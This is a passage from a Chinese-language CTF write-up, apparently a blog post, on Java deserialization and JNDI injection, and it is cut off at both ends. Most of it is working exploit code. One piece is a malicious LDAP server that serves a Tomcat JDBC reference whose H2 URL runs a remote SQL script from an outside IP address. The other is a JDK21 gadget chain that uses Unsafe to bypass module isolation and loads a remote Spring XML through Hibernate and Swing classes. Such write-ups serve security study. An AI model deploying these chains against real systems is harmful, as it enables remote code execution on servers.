e.addAttribute(<span class="string">&quot;objectClass&quot;</span>, <span class="string">&quot;javaNamingReference&quot;</span>);</span><br><span class="line">            e.addAttribute(<span class="string">&quot;javaFactory&quot;</span>, <span class="built_in">this</span>.codebase.getRef());</span><br><span class="line"><span class="comment">//             Payload2: 返回序列化 Gadget</span></span><br><span class="line"><span class="comment">//            try &#123;</span></span><br><span class="line"><span class="comment">//                e.addAttribute(&quot;javaSerializedData&quot;, Base64.decode(&quot;...&quot;));</span></span><br><span class="line"><span class="comment">//            &#125; catch (ParseException exception) &#123;</span></span><br><span class="line"><span class="comment">//                exception.printStackTrace();</span></span><br><span class="line"><span class="comment">//            &#125;</span></span><br><span class="line"></span><br><span class="line">            result.sendSearchEntry(e);</span><br><span class="line">            result.setResult(<span class="keyword">new</span> <span class="title class_">LDAPResult</span>(<span class="number">0</span>, ResultCode.SUCCESS));</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以使用 LDAP + Reference Factory，Payload2: 返回序列化 Gadget<br>即<a href="https://tttang.com/archive/1405/#toc_0x03-jdbc-rce">tomcat-jdbc打h2 jdbc attack</a><br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240424231158.png"><br>写入到ldap服务器中即可，只不过这边有点问题我使用的是远程加载poc.sql<br>所以payload是</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com;  </span><br><span class="line">  </span><br><span class="line"><span class="keyword">import</span> com.unboundid.ldap.listener.InMemoryDirectoryServer;  </span><br><span class="line"><span class="keyword">import</span> com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;  </span><br><span class="line"><span class="keyword">import</span> com.unboundid.ldap.listener.InMemoryListenerConfig;  </span><br><span class="line"><span class="keyword">import</span> com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;  </span><br><span class="line"><span class="keyword">import</span> com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;  </span><br><span class="line"><span class="keyword">import</span> com.unboundid.ldap.sdk.Entry;  </span><br><span class="line"><span class="keyword">import</span> com.unboundid.ldap.sdk.LDAPException;  </span><br><span class="line"><span class="keyword">import</span> com.unboundid.ldap.sdk.LDAPResult;  </span><br><span class="line"><span class="keyword">import</span> com.unboundid.ldap.sdk.ResultCode;  </span><br><span class="line"><span class="keyword">import</span> com.unboundid.util.Base64;  </span><br><span class="line">  </span><br><span class="line"><span class="keyword">import</span> javax.naming.Reference;  </span><br><span class="line"><span class="keyword">import</span> javax.naming.StringRefAddr;  </span><br><span class="line"><span class="keyword">import</span> javax.net.ServerSocketFactory;  </span><br><span class="line"><span class="keyword">import</span> javax.net.SocketFactory;  </span><br><span class="line"><span class="keyword">import</span> javax.net.ssl.SSLSocketFactory;  </span><br><span class="line"><span class="keyword">import</span> java.net.InetAddress;  </span><br><span class="line"><span class="keyword">import</span> java.net.MalformedURLException;  </span><br><span class="line"><span class="keyword">import</span> java.net.URL;  </span><br><span class="line"><span class="keyword">import</span> java.text.ParseException;  </span><br><span class="line">  </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">LDAPServer</span>&#123;  </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">LDAP_BASE</span> <span class="operator">=</span> <span class="string">&quot;dc=example,dc=com&quot;</span>;  </span><br><span class="line">  </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span> <span class="params">(String[] args)</span> &#123;  </span><br><span class="line">  </span><br><span class="line">        <span class="type">String</span> <span class="variable">url</span> <span class="operator">=</span> <span class="string">&quot;http://127.0.0.1:8000/#Evil&quot;</span>;  </span><br><span class="line">        <span class="type">int</span> <span class="variable">port</span> <span class="operator">=</span> <span class="number">1389</span>;  </span><br><span class="line">  </span><br><span class="line">        <span class="keyword">try</span> &#123;  </span><br><span class="line">            <span class="type">InMemoryDirectoryServerConfig</span> <span class="variable">config</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InMemoryDirectoryServerConfig</span>(LDAP_BASE);  </span><br><span class="line">            config.setListenerConfigs(<span class="keyword">new</span> <span class="title class_">InMemoryListenerConfig</span>(  </span><br><span class="line">                    <span class="string">&quot;listen&quot;</span>,  </span><br><span class="line">                    InetAddress.getByName(<span class="string">&quot;0.0.0.0&quot;</span>),  </span><br><span class="line">                    port,  </span><br><span class="line">                    ServerSocketFactory.getDefault(),  </span><br><span class="line">                    SocketFactory.getDefault(),  </span><br><span class="line">                    (SSLSocketFactory) SSLSocketFactory.getDefault()));  </span><br><span class="line">  </span><br><span class="line">            config.addInMemoryOperationInterceptor(<span class="keyword">new</span> <span class="title class_">OperationInterceptor</span>(<span class="keyword">new</span> <span class="title class_">URL</span>(url)));  </span><br><span class="line">            <span class="type">InMemoryDirectoryServer</span> <span class="variable">ds</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InMemoryDirectoryServer</span>(config);  </span><br><span class="line">            System.out.println(<span class="string">&quot;Listening on 0.0.0.0:&quot;</span> + port);  </span><br><span class="line">            ds.startListening();  </span><br><span class="line">  </span><br><span class="line">        &#125;  </span><br><span class="line">        <span class="keyword">catch</span> ( Exception e ) &#123;  </span><br><span class="line">            e.printStackTrace();  </span><br><span class="line">        &#125;  </span><br><span class="line">    &#125;  </span><br><span class="line">  </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">class</span> <span class="title class_">OperationInterceptor</span> <span class="keyword">extends</span> <span class="title class_">InMemoryOperationInterceptor</span> &#123;  </span><br><span class="line">  </span><br><span class="line">        <span class="keyword">private</span> URL codebase;  </span><br><span class="line">        <span class="keyword">public</span> <span class="title function_">OperationInterceptor</span> <span class="params">( URL cb )</span> &#123;  </span><br><span class="line">            <span class="built_in">this</span>.codebase = cb;  </span><br><span class="line">        &#125;  </span><br><span class="line">        <span class="comment">/**  </span></span><br><span class="line"><span class="comment">         * &#123;<span class="doctag">@inheritDoc</span>&#125;  </span></span><br><span class="line"><span class="comment">         *         * <span class="doctag">@see</span> com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)  </span></span><br><span class="line"><span class="comment">         */</span>        <span class="meta">@Override</span>  </span><br><span class="line">        <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">processSearchResult</span> <span class="params">(InMemoryInterceptedSearchResult result )</span> &#123;  </span><br><span class="line">            <span class="type">String</span> <span class="variable">base</span> <span class="operator">=</span> result.getRequest().getBaseDN();  </span><br><span class="line">            <span class="type">Entry</span> <span class="variable">e</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Entry</span>(base);  </span><br><span class="line">            <span class="keyword">try</span> &#123;  </span><br><span class="line">                sendResult(result, base, e);  </span><br><span class="line">            &#125;  </span><br><span class="line">            <span class="keyword">catch</span> ( Exception e1 ) &#123;  </span><br><span class="line">                e1.printStackTrace();  </span><br><span class="line">            &#125;  </span><br><span class="line">  </span><br><span class="line">        &#125;  </span><br><span class="line">  </span><br><span class="line">        <span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">sendResult</span> <span class="params">( InMemoryInterceptedSearchResult result, String base, Entry e )</span> <span class="keyword">throws</span> LDAPException, MalformedURLException &#123;  </span><br><span class="line">            <span class="type">URL</span> <span class="variable">turl</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">URL</span>(<span class="built_in">this</span>.codebase, <span class="built_in">this</span>.codebase.getRef().replace(<span class="string">&#x27;.&#x27;</span>, <span class="string">&#x27;/&#x27;</span>).concat(<span class="string">&quot;.class&quot;</span>));  </span><br><span class="line">            System.out.println(<span class="string">&quot;Send LDAP reference result for &quot;</span> + base + <span class="string">&quot; redirecting to &quot;</span> + turl);  </span><br><span class="line">            e.addAttribute(<span class="string">&quot;javaClassName&quot;</span>, <span class="string">&quot;Exploit&quot;</span>);  </span><br><span class="line">            <span class="type">String</span> <span class="variable">cbstring</span> <span class="operator">=</span> <span class="built_in">this</span>.codebase.toString();  </span><br><span class="line">            <span class="type">int</span> <span class="variable">refPos</span> <span class="operator">=</span> cbstring.indexOf(<span class="string">&#x27;#&#x27;</span>);  </span><br><span class="line">            <span class="keyword">if</span> ( refPos &gt; <span class="number">0</span> ) &#123;  </span><br><span class="line">                cbstring = cbstring.substring(<span class="number">0</span>, refPos);  </span><br><span class="line">            &#125;  </span><br><span class="line">            <span class="type">Reference</span> <span class="variable">ref</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Reference</span>(<span class="string">&quot;javax.sql.DataSource&quot;</span>,<span class="string">&quot;org.apache.tomcat.jdbc.pool.DataSourceFactory&quot;</span>,<span class="literal">null</span>);  </span><br><span class="line">            <span class="type">String</span> <span class="variable">url</span> <span class="operator">=</span> <span class="string">&quot;jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM &#x27;http://106.54.209.118:4444/poc.sql&#x27;&quot;</span>;  </span><br><span class="line">            ref.add(<span class="keyword">new</span> <span class="title class_">StringRefAddr</span>(<span class="string">&quot;driverClassName&quot;</span>,<span class="string">&quot;org.h2.Driver&quot;</span>));  </span><br><span class="line">            ref.add(<span class="keyword">new</span> <span class="title class_">StringRefAddr</span>(<span class="string">&quot;url&quot;</span>,url));  </span><br><span class="line">            ref.add(<span class="keyword">new</span> <span class="title class_">StringRefAddr</span>(<span class="string">&quot;username&quot;</span>,<span class="string">&quot;root&quot;</span>));  </span><br><span class="line">            ref.add(<span class="keyword">new</span> <span class="title class_">StringRefAddr</span>(<span class="string">&quot;password&quot;</span>,<span class="string">&quot;password&quot;</span>));  </span><br><span class="line">            ref.add(<span class="keyword">new</span> <span class="title class_">StringRefAddr</span>(<span class="string">&quot;initialSize&quot;</span>,<span class="string">&quot;1&quot;</span>));  </span><br><span class="line">  </span><br><span class="line">            e.addAttribute(<span class="string">&quot;javaSerializedData&quot;</span>, SerializeUtil.serialize(ref));  </span><br><span class="line">  </span><br><span class="line">  </span><br><span class="line"><span class="comment">//             Payload2: 返回序列化 Gadget//            try &#123;  </span></span><br><span class="line"><span class="comment">//                e.addAttribute(&quot;javaSerializedData&quot;, Base64.decode(&quot;...&quot;));  </span></span><br><span class="line"><span class="comment">//            &#125; catch (ParseException exception) &#123;  </span></span><br><span class="line"><span class="comment">//                exception.printStackTrace();  </span></span><br><span class="line"><span class="comment">//            &#125;  </span></span><br><span class="line">  </span><br><span class="line">            result.sendSearchEntry(e);  </span><br><span class="line">            result.setResult(<span class="keyword">new</span> <span class="title class_">LDAPResult</span>(<span class="number">0</span>, ResultCode.SUCCESS));  </span><br><span class="line">        &#125;  </span><br><span class="line">  </span><br><span class="line">    &#125;  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="jdk21"><a href="#jdk21" class="headerlink" title="jdk21"></a>jdk21</h2><p>这个漏洞属于是ssh打一条全新的链子<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240424231733.png"><br>这个比较强，sink点在于DefaultFormatter#stringToValue<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240424231901.png"><br>JFormattedTextField#commitEdit触发了他</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">commitEdit</span><span class="params">()</span> <span class="keyword">throws</span> ParseException &#123;  </span><br><span class="line">    <span class="type">AbstractFormatter</span> <span class="variable">format</span> <span class="operator">=</span> getFormatter();  </span><br><span class="line">  </span><br><span class="line">    <span class="keyword">if</span> (format != <span class="literal">null</span>) &#123;  </span><br><span class="line">        setValue(format.stringToValue(getText()), <span class="literal">false</span>, <span class="literal">true</span>);  </span><br><span class="line">    &#125;  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>发现javax.swing.JFormattedTextField$FocusLostHandler#run触发了他，到这边已经能组成一个低版本的链子了，但是jdk高版本有package隔离<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240424232011.png"><br>从官方给出的链子来看<br>reactor.core.scheduler.ExecutorScheduler$ExecutorTrackedRunnable就不受隔离影响<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240424232226.png"><br>他是groovy的类<br>Hibernate5存在任意无参方法调用（反思，没有听过），所以最后就是</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.n1ght.reflect.ReflectTools;</span><br><span class="line"><span class="keyword">import</span> com.n1ght.serial.SerialTools;</span><br><span class="line"><span class="keyword">import</span> com.n1ght.unsafe.UnSafeTools;</span><br><span class="line"><span class="keyword">import</span> org.hibernate.engine.spi.TypedValue;</span><br><span class="line"><span class="keyword">import</span> org.hibernate.internal.util.ReflectHelper;</span><br><span class="line"><span class="keyword">import</span> org.hibernate.property.access.spi.GetterMethodImpl;</span><br><span class="line"><span class="keyword">import</span> org.hibernate.tuple.component.AbstractComponentTuplizer;</span><br><span class="line"><span class="keyword">import</span> org.hibernate.tuple.component.PojoComponentTuplizer;</span><br><span class="line"><span class="keyword">import</span> org.hibernate.type.AbstractType;</span><br><span class="line"><span class="keyword">import</span> org.hibernate.type.ComponentType;</span><br><span class="line"><span class="keyword">import</span> org.hibernate.type.Type;</span><br><span class="line"><span class="keyword">import</span> org.hibernate.validator.internal.util.ReflectionHelper;</span><br><span class="line"><span class="keyword">import</span> org.springframework.context.support.ClassPathXmlApplicationContext;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> javax.swing.*;</span><br><span class="line"><span class="keyword">import</span> javax.swing.text.DefaultFormatter;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.*;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Main</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="keyword">new</span> <span class="title class_">Main</span>().bypassModule();</span><br><span class="line">        <span class="type">DefaultFormatter</span> <span class="variable">defaultFormatter</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">DefaultFormatter</span>();</span><br><span class="line">        defaultFormatter.setValueClass(ClassPathXmlApplicationContext.class);</span><br><span class="line">        <span class="type">JFormattedTextField</span> <span class="variable">jFormattedTextField</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">JFormattedTextField</span>(defaultFormatter);</span><br><span class="line">        jFormattedTextField.setValue(<span class="string">&quot;http://127.0.0.1:8001/poc.xml&quot;</span>);</span><br><span class="line">        Class&lt;?&gt; handler = Class.forName(<span class="string">&quot;javax.swing.JFormattedTextField$FocusLostHandler&quot;</span>);</span><br><span class="line">        <span class="type">Object</span> <span class="variable">o</span> <span class="operator">=</span> UnSafeTools.newClass(handler);</span><br><span class="line">        UnSafeTools.setObject(o, Class.forName(<span class="string">&quot;javax.swing.JFormattedTextField$FocusLostHandler&quot;</span>).getDeclaredField(<span class="string">&quot;this$0&quot;</span>), jFormattedTextField);</span><br><span class="line"></span><br><span class="line">        Class&lt;?&gt; execRunnable = Class.forName(<span class="string">&quot;reactor.core.scheduler.ExecutorScheduler$ExecutorTrackedRunnable&quot;</span>);</span><br><span class="line">        <span class="type">Object</span> <span class="variable">exec</span> <span class="operator">=</span> UnSafeTools.newClass(execRunnable);</span><br><span class="line">        UnSafeTools.setObject(exec,execRunnable.getDeclaredField(<span class="string">&quot;task&quot;</span>),o);</span><br><span class="line"></span><br><span class="line">        <span class="type">Object</span> <span class="variable">makeHibernate5Getter</span> <span class="operator">=</span> makeHibernate5Getter(handler, <span class="string">&quot;run&quot;</span>);</span><br><span class="line">        <span class="type">Object</span> <span class="variable">o1</span> <span class="operator">=</span> makeHibernate45Caller( o,makeHibernate5Getter);</span><br><span class="line"></span><br><span class="line">        <span class="type">String</span> <span class="variable">s</span> <span class="operator">=</span> SerialTools.base64Serial(o1);</span><br><span class="line">        System.out.println(s);</span><br><span class="line"></span><br><span class="line">        SerialTools.base64DeSerial(s);</span><br><span class="line"><span class="comment">//        GetterMethodImpl getterMethod = new GetterMethodImpl(execRunnable, &quot;run&quot;, run);</span></span><br><span class="line"><span class="comment">//        String s = SerialTools.base64Serial(getterMethod);</span></span><br><span class="line"><span class="comment">//        System.out.println(s);</span></span><br><span class="line"><span class="comment">//        Object o1 = SerialTools.base64DeSerial(s);</span></span><br><span class="line"><span class="comment">//        Method get = o1.getClass().getDeclaredMethod(&quot;get&quot;,Object.class);</span></span><br><span class="line"><span class="comment">//        get.invoke(o1,exec);</span></span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">static</span> Object <span class="title function_">makeHibernate45Caller</span><span class="params">(Object tpl, Object getters)</span> <span class="keyword">throws</span> NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException &#123;</span><br><span class="line">        <span class="type">PojoComponentTuplizer</span> <span class="variable">tup</span> <span class="operator">=</span> (PojoComponentTuplizer)Reflections.createWithoutConstructor(PojoComponentTuplizer.class);</span><br><span class="line">        Reflections.getField(AbstractComponentTuplizer.class, <span class="string">&quot;getters&quot;</span>).set(tup, getters);</span><br><span class="line">        <span class="type">ComponentType</span> <span class="variable">t</span> <span class="operator">=</span> (ComponentType)Reflections.createWithConstructor(ComponentType.class, AbstractType.class, <span class="keyword">new</span> <span class="title class_">Class</span>[<span class="number">0</span>], <span class="keyword">new</span> <span class="title class_">Object</span>[<span class="number">0</span>]);</span><br><span class="line">        Reflections.setFieldValue(t, <span class="string">&quot;componentTuplizer&quot;</span>, tup);</span><br><span class="line">        Reflections.setFieldValue(t, <span class="string">&quot;propertySpan&quot;</span>, Integer.valueOf(<span class="number">1</span>));</span><br><span class="line">        Reflections.setFieldValue(t, <span class="string">&quot;propertyTypes&quot;</span>, <span class="keyword">new</span> <span class="title class_">Type</span>[] &#123; (Type)t &#125;);</span><br><span class="line">        <span class="type">TypedValue</span> <span class="variable">v1</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TypedValue</span>((Type)t, <span class="literal">null</span>);</span><br><span class="line">        Reflections.setFieldValue(v1, <span class="string">&quot;value&quot;</span>, tpl);</span><br><span class="line">        Reflections.setFieldValue(v1, <span class="string">&quot;type&quot;</span>, t);</span><br><span class="line">        <span class="type">TypedValue</span> <span class="variable">v2</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TypedValue</span>((Type)t, <span class="literal">null</span>);</span><br><span class="line">        Reflections.setFieldValue(v2, <span class="string">&quot;value&quot;</span>, tpl);</span><br><span class="line">        Reflections.setFieldValue(v2, <span class="string">&quot;type&quot;</span>, t);</span><br><span class="line"></span><br><span class="line">        HashMap&lt;Object, Object&gt; s = <span class="keyword">new</span> <span class="title class_">HashMap</span>();</span><br><span class="line">        <span class="type">Field</span> <span class="variable">size</span> <span class="operator">=</span> s.getClass().getDeclaredField(<span class="string">&quot;size&quot;</span>);</span><br><span class="line">        ReflectHelper.ensureAccessibility(size);</span><br><span class="line">        size.set(s,<span class="number">2</span>);</span><br><span class="line">        Class nodeC;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            nodeC = Class.forName(<span class="string">&quot;java.util.HashMap$Node&quot;</span>);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (ClassNotFoundException var6) &#123;</span><br><span class="line">            nodeC = Class.forName(<span class="string">&quot;java.util.HashMap$EntAry&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        Constructor&lt;?&gt; nodeCons = nodeC.getDeclaredConstructor(Integer.TYPE, Object.class, Object.class, nodeC);</span><br><span class="line">        ReflectHelper.ensureAccessibility(nodeCons);</span><br><span class="line">        <span class="type">Object</span> <span class="variable">tbl</span> <span class="operator">=</span> Array.newInstance(nodeC, <span class="number">2</span>);</span><br><span class="line">        Array.set(tbl, <span class="number">0</span>, nodeCons.newInstance(<span class="number">0</span>, v1, v1, <span class="literal">null</span>));</span><br><span class="line">        Array.set(tbl, <span class="number">1</span>, nodeCons.newInstance(<span class="number">0</span>, v2, v2, <span class="literal">null</span>));</span><br><span class="line">        <span class="type">Field</span> <span class="variable">table</span> <span class="operator">=</span> s.getClass().getDeclaredField(<span class="string">&quot;table&quot;</span>);</span><br><span class="line">        ReflectHelper.ensureAccessibility(table);</span><br><span class="line">        table.set(s,tbl);</span><br><span class="line">        <span class="keyword">return</span> s;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">bypassModule</span><span class="params">()</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        UnSafeTools.bypassModule(<span class="built_in">this</span>.getClass(), Class.forName(<span class="string">&quot;javax.swing.JFormattedTextField$FocusLostHandler&quot;</span>));</span><br><span class="line"><span class="comment">//        UnSafeTools.bypassModule(this.getClass(), ClassPathXmlApplicationContext.class);</span></span><br><span class="line"><span class="comment">//        UnSafeTools.bypassModule(this.getClass(), JFormattedTextField.class);</span></span><br><span class="line"><span class="comment">//        UnSafeTools.bypassModule(this.getClass(), HashMap.class);</span></span><br><span class="line"><span class="comment">//        UnSafeTools.bypassModule(this.getClass(), GetterMethodImpl.class);</span></span><br><span class="line"><span class="comment">//        UnSafeTools.bypassModule(Class.forName(&quot;javax.swing.JFormattedTextField$FocusLostHandler&quot;), JFormattedTextField.class);</span></span><br><span class="line"><span class="comment">//        UnSafeTools.bypassModule(JFormattedTextField.class, Class.forName(&quot;javax.swing.JFormattedTextField$FocusLostHandler&quot;));</span></span><br><span class="line"><span class="comment">//        UnSafeTools.bypassModule(ReflectHelper.class, Class.forName(&quot;javax.swing.JFormattedTextField$FocusLostHandler&quot;));</span></span><br><span class="line">        UnSafeTools.bypassModule(ReflectHelper.class, HashMap.class);</span><br><span class="line"><span class="comment">//        UnSafeTools.bypassModule(ReflectHelper.class, Class.forName(&quot;java.util.HashMap$Node&quot;));</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">//        UnSafeTools.bypassModule(GetterMethodImpl.class, Class.forName(&quot;reactor.core.scheduler.ExecutorScheduler$ExecutorTrackedRunnable&quot;));</span></span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> Object <span class="title function_">makeHibernate5Getter</span><span class="params">(Class&lt;?&gt; tplClass, String method)</span> <span class="keyword">throws</span> NoSuchMethodException, SecurityException, ClassNotFoundException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException &#123;</span><br><span class="line">        Class&lt;?&gt; getterIf = Class.forName(<span class="string">&quot;org.hibernate.property.access.spi.Getter&quot;</span>);</span><br><span class="line">        Class&lt;?&gt; basicGetter = Class.forName(<span class="string">&quot;org.hibernate.property.access.spi.GetterMethodImpl&quot;</span>);</span><br><span class="line">        Constructor&lt;?&gt; bgCon = basicGetter.getConstructor(<span class="keyword">new</span> <span class="title class_">Class</span>[] &#123; Class.class, String.class, Method.class &#125;);</span><br><span class="line">        <span class="type">Object</span> <span class="variable">g</span> <span class="operator">=</span> bgCon.newInstance(<span class="keyword">new</span> <span class="title class_">Object</span>[] &#123; tplClass, <span class="string">&quot;run&quot;</span>, tplClass.getDeclaredMethod(method, <span class="keyword">new</span> <span class="title class_">Class</span>[<span class="number">0</span>]) &#125;);</span><br><span class="line">        <span class="type">Object</span> <span class="variable">arr</span> <span class="operator">=</span> Array.newInstance(getterIf, <span class="number">1</span>);</span><br><span class="line">        Array.set(arr, <span class="number">0</span>, g);</span><br><span class="line">        <span class="keyword">return</span> arr;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240424231620.png"></p><h3 id="jndi高版本注入"><a href="#jndi高版本注入" class="headerlink" title="jndi高版本注入"></a>jndi高版本注入</h3><p><a href="https://vidar-team.feishu.cn/docx/ScXKd2ISEo8dL6xt5imcQbLInGc">https://vidar-team.feishu.cn/docx/ScXKd2ISEo8dL6xt5imcQbLInGc</a><br>打的是JRMPListener打反序列化漏洞<br>所以参考一下师傅的jndi的payload</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span 